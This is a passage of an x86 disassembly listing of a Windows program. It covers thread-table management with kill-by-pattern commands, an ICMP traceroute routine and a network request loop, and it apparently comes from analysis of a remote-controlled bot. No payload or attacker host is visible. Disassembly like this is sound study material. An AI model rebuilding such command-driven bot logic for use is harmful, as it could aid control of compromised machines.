esi, eax pop ecx test esi, esi jz short loc_406591 mov eax, [ebp+arg_0] mov [esi], eax mov eax, [ebp+arg_4] mov [esi+4], eax lea eax, [ebp+var_4] push eax push 0 push esi push offset sub_4064A0 push 20000h push 0 call sub_410AD0 ; _beginthreadex add esp, 18h test eax, eax jz short loc_40658A push eax call ds:dword_4110AC ; CloseHandle push 1 pop eax jmp short loc_406593 ; --------------------------------------------------------------------------- loc_40658A: ; CODE XREF: sub_406541+3Bj push esi call sub_410832 ; free pop ecx loc_406591: ; CODE XREF: sub_406541+11j xor eax, eax loc_406593: ; CODE XREF: sub_406541+47j pop esi leave retn sub_406541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406596 proc near ; DATA XREF: sub_40663C+C9o var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_411298 push offset sub_410ACA mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_417B60 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov esi, [ebp+arg_0] mov eax, [esi] mov ecx, [eax+10h] mov [ebp+var_1A0], ecx add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_410820 ; _mbscpy pop ecx pop ecx mov eax, [esi] push esi call dword ptr [eax+10h] or [ebp+var_4], 0FFFFFFFFh jmp short loc_40662B ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_40662B: ; CODE XREF: sub_406596+72j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_406596 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40663C proc near ; CODE XREF: sub_4014B0+79p ; sub_4018D5+78p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ebx push esi push edi push offset dword_418008 call sub_406AE4 cmp dword_418020, 10h pop ecx jnz short loc_406667 push [ebp+arg_4] call sub_410832 ; free pop ecx xor ebx, ebx jmp loc_406741 ; --------------------------------------------------------------------------- loc_406667: ; CODE XREF: sub_40663C+19j mov ecx, dword_418028 xor ebx, ebx cmp [ebp+arg_8], ebx mov edi, 198h jz short loc_40668D xor edx, edx lea eax, [ecx+10h] loc_40667E: ; CODE XREF: sub_40663C+4Fj mov esi, [ebp+arg_0] cmp [eax], esi jz short loc_4066A1 inc edx add eax, edi cmp edx, 10h jl short loc_40667E loc_40668D: ; CODE XREF: sub_40663C+3Bj mov [ebp+var_4], ebx xor edx, edx lea eax, [ecx+8] loc_406695: ; CODE XREF: sub_40663C+63j cmp [eax], ebx jz short loc_4066AF inc edx add eax, edi cmp edx, 10h jl short loc_406695 loc_4066A1: ; CODE XREF: sub_40663C+47j ; sub_40663C+82j push [ebp+arg_4] call sub_410832 ; free pop ecx jmp loc_406741 ; --------------------------------------------------------------------------- loc_4066AF: ; CODE XREF: sub_40663C+5Bj mov eax, edx imul eax, 198h add eax, ecx mov [ebp+var_4], eax mov [eax], edx jz short loc_4066A1 mov esi, [ebp+arg_4] mov eax, [ebp+var_4] cmp esi, ebx jz short loc_4066CC mov [esi], eax loc_4066CC: ; CODE XREF: sub_40663C+8Cj mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] push eax mov eax, [ebp+var_4] push [ebp+arg_C] add eax, 14h push eax call sub_410AD6 ; vsprintf mov eax, [ebp+var_4] add esp, 0Ch mov ecx, esi mov [eax+4], ebx inc dword_418020 mov eax, [ebp+var_4] cmp esi, ebx jnz short loc_4066FF mov ecx, eax loc_4066FF: ; CODE XREF: sub_40663C+BFj add eax, 0Ch push eax push ebx push ecx push offset sub_406596 push ebx push ebx call sub_410AD0 ; _beginthreadex mov ecx, [ebp+var_4] add esp, 18h mov [ecx+8], eax mov eax, [ebp+var_4] cmp [eax+8], ebx jnz short loc_40673E push esi call sub_410832 ; free dec dword_418020 push edi lea eax, [ebp+var_4] push ebx push eax call sub_410850 ; memset add esp, 10h jmp short loc_406741 ; --------------------------------------------------------------------------- loc_40673E: ; CODE XREF: sub_40663C+E4j push 1 pop ebx loc_406741: ; CODE XREF: sub_40663C+26j ; sub_40663C+6Ej ... push offset dword_418008 call sub_406AEF pop ecx pop edi mov eax, ebx pop esi pop ebx leave retn sub_40663C endp ; =============== S U B R O U T I N E ======================================= sub_406753 proc near ; CODE XREF: sub_4011C4+2DEp ; sub_401621+277p ... arg_0 = dword ptr 4 push esi mov esi, offset dword_418008 push edi push esi call sub_406AE4 mov edi, [esp+0Ch+arg_0] dec dword_418020 pop ecx push dword ptr [edi+8] call ds:dword_4110AC ; CloseHandle push 198h push 0 push edi call sub_410850 ; memset push esi call sub_406AEF add esp, 10h pop edi pop esi retn sub_406753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40678D proc near ; CODE XREF: sub_40735A+6B3p var_188 = byte ptr -188h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 188h push esi mov esi, [ebp+arg_0] test esi, esi push edi jz loc_406864 push esi call sub_4052D4 test al, al pop ecx jz short loc_4067EB push esi call sub_41088C ; atoi mov edi, offset dword_418008 mov esi, eax push edi call sub_406AE4 pop ecx cmp esi, 10h pop ecx jnb short loc_4067E2 imul esi, 198h mov eax, dword_418028 add eax, esi cmp dword ptr [eax+8], 0 jz short loc_4067E2 mov dword ptr [eax+4], 1 loc_4067E2: ; CODE XREF: sub_40678D+39j ; sub_40678D+4Cj push edi call sub_406AEF pop ecx jmp short loc_406864 ; --------------------------------------------------------------------------- loc_4067EB: ; CODE XREF: sub_40678D+1Fj push ebx push esi push offset aS ; "*%s*" lea eax, [ebp+var_188] push 185h push eax call sub_41089E ; _snprintf mov edi, offset dword_418008 push edi call sub_406AE4 mov ebx, dword_418020 add esp, 14h xor esi, esi loc_406819: ; CODE XREF: sub_40678D+CDj mov eax, dword_418028 add eax, esi cmp dword ptr [eax+8], 0 jz short loc_40684E lea ecx, [ebp+var_188] add eax, 14h push ecx push eax dec ebx call sub_4071EF pop ecx test al, al pop ecx jz short loc_40684A mov eax, dword_418028 mov dword ptr [esi+eax+4], 1 loc_40684A: ; CODE XREF: sub_40678D+AEj test ebx, ebx jz short loc_40685C loc_40684E: ; CODE XREF: sub_40678D+97j add esi, 198h cmp esi, 1980h jb short loc_406819 loc_40685C: ; CODE XREF: sub_40678D+BFj push edi call sub_406AEF pop ecx pop ebx loc_406864: ; CODE XREF: sub_40678D+10j ; sub_40678D+5Cj pop edi pop esi leave retn sub_40678D endp ; =============== S U B R O U T I N E ======================================= sub_406868 proc near ; CODE XREF: sub_40735A+6E4p var_18C = dword ptr -18Ch var_188 = byte ptr -188h arg_0 = dword ptr 4 sub esp, 18Ch push ebp push esi mov esi, [esp+194h+arg_0] xor ebp, ebp cmp esi, ebp push edi jz loc_406989 push esi call sub_4052D4 test al, al pop ecx jz short loc_4068EC push esi call sub_41088C ; atoi mov edi, offset dword_418008 mov esi, eax push edi call sub_406AE4 pop ecx cmp esi, 10h pop ecx jnb short loc_4068E0 imul esi, 198h mov eax, dword_418028 add eax, esi cmp [eax+8], ebp jz short loc_4068E0 dec dword_418020 mov esi, [eax+8] push 198h push ebp push eax call sub_410850 ; memset add esp, 0Ch push ebp push esi call ds:dword_4110E4 ; TerminateThread push esi call ds:dword_4110AC ; CloseHandle loc_4068E0: ; CODE XREF: sub_406868+3Dj ; sub_406868+4Fj push edi call sub_406AEF pop ecx jmp loc_406989 ; --------------------------------------------------------------------------- loc_4068EC: ; CODE XREF: sub_406868+23j push ebx push esi push offset aS ; "*%s*" lea eax, [esp+1A4h+var_188] push 185h push eax call sub_41089E ; _snprintf push offset dword_418008 call sub_406AE4 mov eax, dword_418020 add esp, 14h mov [esp+19Ch+var_18C], eax xor edi, edi mov ebx, 198h loc_40691F: ; CODE XREF: sub_406868+113j mov eax, dword_418028 add eax, edi cmp [eax+8], ebp jz short loc_406973 dec [esp+19Ch+var_18C] lea ecx, [esp+19Ch+var_188] add eax, 14h push ecx push eax call sub_4071EF pop ecx test al, al pop ecx jz short loc_40696D mov eax, dword_418028 dec dword_418020 add eax, edi push ebx push ebp push eax mov esi, [eax+8] call sub_410850 ; memset add esp, 0Ch push ebp push esi call ds:dword_4110E4 ; TerminateThread push esi call ds:dword_4110AC ; CloseHandle loc_40696D: ; CODE XREF: sub_406868+D9j cmp [esp+19Ch+var_18C], ebp jz short loc_40697D loc_406973: ; CODE XREF: sub_406868+C1j add edi, ebx cmp edi, 1980h jb short loc_40691F loc_40697D: ; CODE XREF: sub_406868+109j push offset dword_418008 call sub_406AEF pop ecx pop ebx loc_406989: ; CODE XREF: sub_406868+14j ; sub_406868+7Fj pop edi pop esi pop ebp add esp, 18Ch retn sub_406868 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406993 proc near ; DATA XREF: sub_406A80+1Co var_1B0 = dword ptr -1B0h var_1A4 = byte ptr -1A4h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h push 1A3h lea eax, [ebp+var_1A4] push [ebp+arg_0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free mov eax, dword_418020 add esp, 10h test eax, eax jz loc_406A67 push esi push edi push 10h push eax lea eax, [ebp+var_1A4] push offset dword_4134B8 push eax call sub_408D50 mov esi, offset dword_418008 push esi call sub_406AE4 and [ebp+var_C], 0 and [ebp+arg_0], 0 add esp, 14h xor edi, edi loc_4069F6: ; CODE XREF: sub_406993+C5j mov eax, dword_418028 cmp dword ptr [edi+eax+8], 0 jz short loc_406A49 push esi call sub_406AEF mov [esp+1B0h+var_1B0], 3E8h call ds:dword_4110A4 ; Sleep push esi call sub_406AE4 mov eax, dword_418028 pop ecx lea eax, [edi+eax+14h] push eax lea eax, [ebp+var_1A4] push [ebp+arg_0] push offset dword_4134A8 push eax call sub_408D50 mov eax, dword_418028 add esp, 10h cmp dword ptr [edi+eax+4], 0 jnz short loc_406A5A loc_406A49: ; CODE XREF: sub_406993+6Dj inc [ebp+arg_0] add edi, 198h cmp edi, 1980h jl short loc_4069F6 loc_406A5A: ; CODE XREF: sub_406993+B4j push esi call sub_406AEF pop ecx pop edi xor eax, eax pop esi jmp short locret_406A7C ; --------------------------------------------------------------------------- loc_406A67: ; CODE XREF: sub_406993+2Fj lea eax, [ebp+var_1A4] push offset dword_413488 push eax call sub_408D50 pop ecx xor eax, eax pop ecx locret_406A7C: ; CODE XREF: sub_406993+D2j leave retn 4 sub_406993 endp ; =============== S U B R O U T I N E ======================================= sub_406A80 proc near ; CODE XREF: sub_40735A+474p arg_0 = dword ptr 4 push esi push 1A3h call sub_41082C ; malloc test eax, eax pop ecx jz short loc_406AB4 mov esi, [esp+4+arg_0] push esi push eax call sub_403E60 push esi push offset sub_406993 call sub_406541 add esp, 10h test eax, eax jnz short loc_406AB4 push esi call sub_410832 ; free pop ecx loc_406AB4: ; CODE XREF: sub_406A80+Ej ; sub_406A80+2Bj pop esi retn sub_406A80 endp ; =============== S U B R O U T I N E ======================================= sub_406AB6 proc near ; CODE XREF: sub_403E9B+6p ; sub_40647C+1Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 18h push 0 push esi call sub_410850 ; memset mov eax, dword_417B70 add esp, 0Ch test eax, eax jz short loc_406ADB push 80000400h push esi call eax ; InitializeCriticalSectionAndSpinCount pop esi retn ; --------------------------------------------------------------------------- loc_406ADB: ; CODE XREF: sub_406AB6+19j push esi call ds:dword_4110E8 ; InitializeCriticalSection pop esi retn sub_406AB6 endp ; =============== S U B R O U T I N E ======================================= sub_406AE4 proc near ; CODE XREF: sub_403F1D+11p ; sub_40663C+Cp ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4110EC ; RtlEnterCriticalSection retn sub_406AE4 endp ; =============== S U B R O U T I N E ======================================= sub_406AEF proc near ; CODE XREF: sub_403F1D+20Ep ; sub_40663C+10Ap ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4110F4 ; RtlLeaveCriticalSection retn sub_406AEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AFA proc near ; CODE XREF: sub_40287C+13p ; sub_40CA47+44Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop esi pop ebp retn sub_406AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B0B proc near ; CODE XREF: sub_4032EF+14p ; sub_4032EF+20p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop esi pop ebp retn sub_406B0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B1B proc near ; CODE XREF: sub_406BE0+13Bp var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 0Ch call dword_41802C cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_406B3E push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_410AE8 ; printf pop ecx xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_406B3E: ; CODE XREF: sub_406B1B+12j push ebx push esi push edi push 8 lea eax, [ebp+var_C] push 0 push eax call sub_410850 ; memset movzx esi, [ebp+arg_10] mov al, [ebp+arg_8] push esi mov [ebp+var_C], al call sub_410AE2 mov ebx, eax push esi push 45h push ebx call sub_410850 ; memset add esp, 1Ch cmp [ebp+arg_10], 8 jnb short loc_406B77 push 8 pop eax jmp short loc_406B79 ; --------------------------------------------------------------------------- loc_406B77: ; CODE XREF: sub_406B1B+55j mov eax, esi loc_406B79: ; CODE XREF: sub_406B1B+5Aj lea esi, [eax+1Ch] push esi call sub_410AE2 pop ecx mov edi, eax push [ebp+arg_C] lea eax, [ebp+var_C] push esi push edi push eax movzx ax, [ebp+arg_10] push eax push ebx push [ebp+arg_0] push [ebp+var_4] call dword_418038 cmp eax, 1 jz short loc_406BB3 call ds:dword_41106C ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_406BC1 ; --------------------------------------------------------------------------- loc_406BB3: ; CODE XREF: sub_406B1B+89j mov eax, [ebp+arg_4] mov ecx, [edi] mov [eax+4], ecx mov ecx, [edi+8] mov [eax+8], ecx loc_406BC1: ; CODE XREF: sub_406B1B+96j push [ebp+var_4] call dword_418034 push ebx call sub_410ADC push edi call sub_410ADC pop ecx pop ecx push 1 pop eax pop edi pop esi pop ebx leave retn sub_406B1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406BE0 proc near ; DATA XREF: sub_406E50+C9o var_2D8 = byte ptr -2D8h var_135 = byte ptr -135h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D8h push ebx push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2D8] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free xor ebx, ebx add esp, 10h cmp byte_418040, bl jnz short loc_406C6B push offset aIcmp_dll ; "ICMP.DLL" call ds:dword_41105C ; LoadLibraryA cmp eax, ebx mov dword_418030, eax jz loc_406E0F mov esi, ds:dword_411060 push offset aIcmpcreatefile ; "IcmpCreateFile" push eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" mov dword_41802C, eax push dword_418030 call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" mov dword_418038, eax push dword_418030 call esi ; GetProcAddress mov dword_418034, eax mov byte_418040, 1 loc_406C6B: ; CODE XREF: sub_406BE0+33j cmp dword_41802C, ebx jz loc_406E0F cmp dword_418038, ebx jz loc_406E0F cmp dword_418034, ebx jz loc_406E0F lea eax, [ebp+var_135] push eax call ds:dword_411254 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_18], eax jnz short loc_406CCF lea eax, [ebp+var_135] push eax call ds:dword_41124C ; gethostbyname cmp eax, ebx jz loc_406D4A movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_18] push eax call sub_410838 ; memcpy add esp, 0Ch loc_406CCF: ; CODE XREF: sub_406BE0+C2j cmp [ebp+var_35], 1 mov [ebp+var_20], ebx mov byte ptr [ebp+arg_0], 1 jb loc_406E0F loc_406CE0: ; CODE XREF: sub_406BE0+229j cmp [ebp+var_20], ebx jnz loc_406E0F or [ebp+var_C], 0FFFFFFFFh xor esi, esi xor edi, edi cmp [ebp+var_30], ebx mov [ebp+var_14], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_1C], ebx mov [ebp+var_28], ebx mov [ebp+var_2C], ebx jbe short loc_406D66 loc_406D08: ; CODE XREF: sub_406BE0+184j cmp esi, ebx jnz short loc_406D66 push 20h lea eax, [ebp+var_2C] push [ebp+var_34] push [ebp+arg_0] push eax push [ebp+var_18] call sub_406B1B add esp, 14h test eax, eax jz loc_406E0F mov eax, [ebp+var_2C] cmp eax, ebx jnz short loc_406D5A mov eax, [ebp+var_24] add [ebp+var_1C], eax cmp eax, [ebp+var_C] jnb short loc_406D40 mov [ebp+var_C], eax loc_406D40: ; CODE XREF: sub_406BE0+15Bj cmp eax, [ebp+var_4] jbe short loc_406D60 mov [ebp+var_4], eax jmp short loc_406D60 ; --------------------------------------------------------------------------- loc_406D4A: ; CODE XREF: sub_406BE0+D3j push offset aCouldNotResolv ; "Could not resolve name" call sub_410AE8 ; printf pop ecx jmp loc_406E0F ; --------------------------------------------------------------------------- loc_406D5A: ; CODE XREF: sub_406BE0+150j push 1 mov [ebp+var_14], eax pop esi loc_406D60: ; CODE XREF: sub_406BE0+163j ; sub_406BE0+168j inc edi cmp edi, [ebp+var_30] jb short loc_406D08 loc_406D66: ; CODE XREF: sub_406BE0+126j ; sub_406BE0+12Aj mov eax, [ebp+var_28] cmp [ebp+var_14], ebx mov [ebp+var_10], eax jnz short loc_406DCC mov eax, [ebp+var_1C] xor edx, edx div [ebp+var_30] push 2 push 4 mov [ebp+var_8], eax lea eax, [ebp+var_10] push eax call ds:dword_411234 ; gethostbyaddr cmp eax, ebx jz loc_406E18 movzx ecx, byte ptr [ebp+var_10+3] push ecx movzx ecx, byte ptr [ebp+var_10+2] push ecx movzx ecx, byte ptr [ebp+var_10+1] push ecx movzx ecx, byte ptr [ebp+var_10] push ecx push dword ptr [eax] movzx eax, byte ptr [ebp+arg_0] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push eax lea eax, [ebp+var_2D8] push offset dword_413560 push eax call sub_408D50 add esp, 2Ch jmp short loc_406DF1 ; --------------------------------------------------------------------------- loc_406DCC: ; CODE XREF: sub_406BE0+18Fj movzx eax, byte ptr [ebp+arg_0] push [ebp+var_14] mov [ebp+var_C], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx push eax lea eax, [ebp+var_2D8] push offset dword_413538 push eax call sub_408D50 add esp, 10h loc_406DF1: ; CODE XREF: sub_406BE0+1EAj ; sub_406BE0+26Ej mov eax, [ebp+var_18] cmp eax, [ebp+var_10] jnz short loc_406E00 mov [ebp+var_20], 1 loc_406E00: ; CODE XREF: sub_406BE0+217j inc byte ptr [ebp+arg_0] mov al, byte ptr [ebp+arg_0] cmp al, [ebp+var_35] jbe loc_406CE0 loc_406E0F: ; CODE XREF: sub_406BE0+47j ; sub_406BE0+91j ... pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_406E18: ; CODE XREF: sub_406BE0+1ACj movzx eax, byte ptr [ebp+var_10+3] push eax movzx eax, byte ptr [ebp+var_10+2] push eax movzx eax, byte ptr [ebp+var_10+1] push eax movzx eax, byte ptr [ebp+var_10] push eax push [ebp+var_4] movzx eax, byte ptr [ebp+arg_0] push [ebp+var_8] push [ebp+var_C] push eax lea eax, [ebp+var_2D8] push offset dword_41350C push eax call sub_408D50 add esp, 28h jmp short loc_406DF1 sub_406BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E50 proc near ; CODE XREF: sub_40735A+744p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push esi push edi xor edi, edi cmp [ebp+arg_4], edi jnz short loc_406E71 push offset unk_4135E4 push [ebp+arg_0] call sub_408D50 pop ecx loc_406E6B: ; CODE XREF: sub_406E50+E0j pop ecx jmp loc_406F3C ; --------------------------------------------------------------------------- loc_406E71: ; CODE XREF: sub_406E50+Bj push 2ACh call sub_41082C ; malloc mov esi, eax pop ecx cmp esi, edi jz loc_406F3C push 1A3h push [ebp+arg_0] push esi call sub_410838 ; memcpy push [ebp+arg_4] lea eax, [esi+1A3h] push eax call sub_410820 ; _mbscpy add esp, 14h cmp [ebp+arg_8], edi jz short loc_406EC6 push [ebp+arg_8] call sub_41088C ; atoi cmp eax, 0FFh pop ecx jg short loc_406EC6 push [ebp+arg_8] call sub_41088C ; atoi pop ecx jmp short loc_406EC9 ; --------------------------------------------------------------------------- loc_406EC6: ; CODE XREF: sub_406E50+59j ; sub_406E50+69j push 1Eh pop eax loc_406EC9: ; CODE XREF: sub_406E50+74j cmp [ebp+arg_C], edi mov [esi+2A3h], al jz short loc_406EEF push [ebp+arg_C] call sub_41088C ; atoi cmp eax, 927C0h pop ecx jg short loc_406EEF push [ebp+arg_C] call sub_41088C ; atoi pop ecx jmp short loc_406EF4 ; --------------------------------------------------------------------------- loc_406EEF: ; CODE XREF: sub_406E50+82j ; sub_406E50+92j mov eax, 7530h loc_406EF4: ; CODE XREF: sub_406E50+9Dj cmp [ebp+arg_10], edi mov [esi+2A4h], eax jz short loc_406F0A push [ebp+arg_10] call sub_41088C ; atoi pop ecx jmp short loc_406F0D ; --------------------------------------------------------------------------- loc_406F0A: ; CODE XREF: sub_406E50+ADj push 3 pop eax loc_406F0D: ; CODE XREF: sub_406E50+B8j mov [esi+2A8h], eax lea eax, [ebp+var_4] push eax push edi push esi push offset sub_406BE0 push edi push edi call ds:dword_4110BC ; CreateThread cmp eax, edi jnz short loc_406F35 push esi call sub_410832 ; free jmp loc_406E6B ; --------------------------------------------------------------------------- loc_406F35: ; CODE XREF: sub_406E50+D8j push eax call ds:dword_4110AC ; CloseHandle loc_406F3C: ; CODE XREF: sub_406E50+1Cj ; sub_406E50+30j pop edi pop esi leave retn sub_406E50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406F40 proc near ; CODE XREF: sub_40708B+2Cp var_1108 = byte ptr -1108h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1108h call sub_4108B0 push ebx push esi mov esi, [ebp+arg_0] push edi mov ecx, [esi] lea ebx, [esi+4] lea edi, [esi+104h] push ebx push edi lea eax, [esi+204h] push dword ptr [ecx] push offset dword_413638 push eax call sub_408D50 push 2710h push 0 push offset dword_413634 push edi call sub_403BBB mov edi, eax add esp, 24h test edi, edi mov [ebp+var_4], edi jnz short loc_406F98 xor al, al jmp loc_407086 ; --------------------------------------------------------------------------- loc_406F98: ; CODE XREF: sub_406F40+4Fj push ebx lea eax, [ebp+var_108] push offset dword_41362C push eax call ds:dword_4111EC ; wsprintfA lea eax, [ebp+var_108] push eax call sub_410826 ; strlen inc eax push eax lea eax, [ebp+var_108] push eax push edi call sub_403D54 add esp, 1Ch test eax, eax jz loc_407079 lea eax, [ebp+var_1108] push 1000h push eax push edi call sub_403D69 add esp, 0Ch test eax, eax jz loc_407079 cmp eax, 0FFFFFFFFh jz loc_407079 cmp [ebp+var_1108], 0 lea ebx, [ebp+var_1108] jz short loc_407075 mov edi, offset dword_418008 loc_40700B: ; CODE XREF: sub_406F40+133j push ebx call sub_40535A cmp byte ptr [ebx], 0 pop ecx mov [ebp+arg_0], eax jz short loc_40702E push offset dword_412F18 push ebx call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jz short loc_40702E push ebx jmp short loc_40703D ; --------------------------------------------------------------------------- loc_40702E: ; CODE XREF: sub_406F40+D8j ; sub_406F40+E9j lea eax, [ebp+var_1108] cmp ebx, eax jz short loc_40704B push offset dword_413628 loc_40703D: ; CODE XREF: sub_406F40+ECj lea eax, [esi+204h] push eax call sub_408D50 pop ecx pop ecx loc_40704B: ; CODE XREF: sub_406F40+F6j push 3E8h call ds:dword_4110A4 ; Sleep push edi call sub_406AE4 mov eax, [esi] push edi mov ebx, [eax+4] call sub_406AEF pop ecx test ebx, ebx pop ecx jnz short loc_407075 mov ebx, [ebp+arg_0] cmp byte ptr [ebx], 0 jnz short loc_40700B loc_407075: ; CODE XREF: sub_406F40+C4j ; sub_406F40+12Bj mov bl, 1 jmp short loc_40707B ; --------------------------------------------------------------------------- loc_407079: ; CODE XREF: sub_406F40+8Bj ; sub_406F40+A8j ... xor bl, bl loc_40707B: ; CODE XREF: sub_406F40+137j ; DATA XREF: .data:00414C94o ... push [ebp+var_4] call sub_403D27 pop ecx mov al, bl loc_407086: ; CODE XREF: sub_406F40+53j pop edi pop esi pop ebx leave retn sub_406F40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40708B proc near ; DATA XREF: sub_4070F0+87o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h lea eax, [ebp+var_3A8] push [ebp+arg_0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_3A8] push eax call sub_406F40 add esp, 14h test al, al jnz short loc_4070DE lea eax, [ebp+var_2A4] push eax lea eax, [ebp+var_1A4] push offset dword_413664 push eax call sub_408D50 add esp, 0Ch loc_4070DE: ; CODE XREF: sub_40708B+36j push [ebp+var_3A8] call sub_406753 pop ecx xor eax, eax leave retn 4 sub_40708B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070F0 proc near ; CODE XREF: sub_40735A+763p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push esi jz loc_407184 push 3A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_407184 push [ebp+arg_4] lea eax, [esi+4] push eax call sub_410820 ; _mbscpy cmp [ebp+arg_8], 0 pop ecx pop ecx jz short loc_407136 push [ebp+arg_8] lea eax, [esi+104h] push eax call sub_410820 ; _mbscpy pop ecx pop ecx jmp short loc_407152 ; --------------------------------------------------------------------------- loc_407136: ; CODE XREF: sub_4070F0+31j push edi lea edi, [esi+104h] push offset dword_4136A0 push edi call sub_410820 ; _mbscpy push edi call sub_40AC4E add esp, 0Ch pop edi loc_407152: ; CODE XREF: sub_4070F0+44j push 1A3h lea eax, [esi+204h] push [ebp+arg_0] push eax call sub_410838 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_413680 push 0 push esi push offset sub_40708B call sub_40663C add esp, 18h loc_407184: ; CODE XREF: sub_4070F0+8j ; sub_4070F0+1Dj pop esi pop ebp retn sub_4070F0 endp ; =============== S U B R O U T I N E ======================================= sub_407187 proc near ; CODE XREF: sub_407187+51p ; sub_4098BB+125p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push edi loc_407191: ; CODE XREF: sub_407187+1Cj ; sub_407187+41j mov dl, [esi] mov cl, [eax] test dl, dl jnz short loc_4071A5 test cl, cl jz short loc_4071CA cmp cl, 2Ah jnz short loc_4071EA inc eax jmp short loc_407191 ; --------------------------------------------------------------------------- loc_4071A5: ; CODE XREF: sub_407187+10j test cl, cl jz short loc_4071EA cmp dl, cl jz short loc_4071C6 cmp cl, 3Fh jz short loc_4071C6 cmp cl, 23h jnz short loc_4071CE cmp dl, 30h jl short loc_4071C1 cmp dl, 39h jle short loc_4071C6 loc_4071C1: ; CODE XREF: sub_407187+33j cmp dl, 23h jnz short loc_4071EA loc_4071C6: ; CODE XREF: sub_407187+24j ; sub_407187+29j ... inc eax inc esi jmp short loc_407191 ; --------------------------------------------------------------------------- loc_4071CA: ; CODE XREF: sub_407187+14j ; sub_407187+5Aj mov al, 1 jmp short loc_4071EC ; --------------------------------------------------------------------------- loc_4071CE: ; CODE XREF: sub_407187+2Ej cmp byte ptr 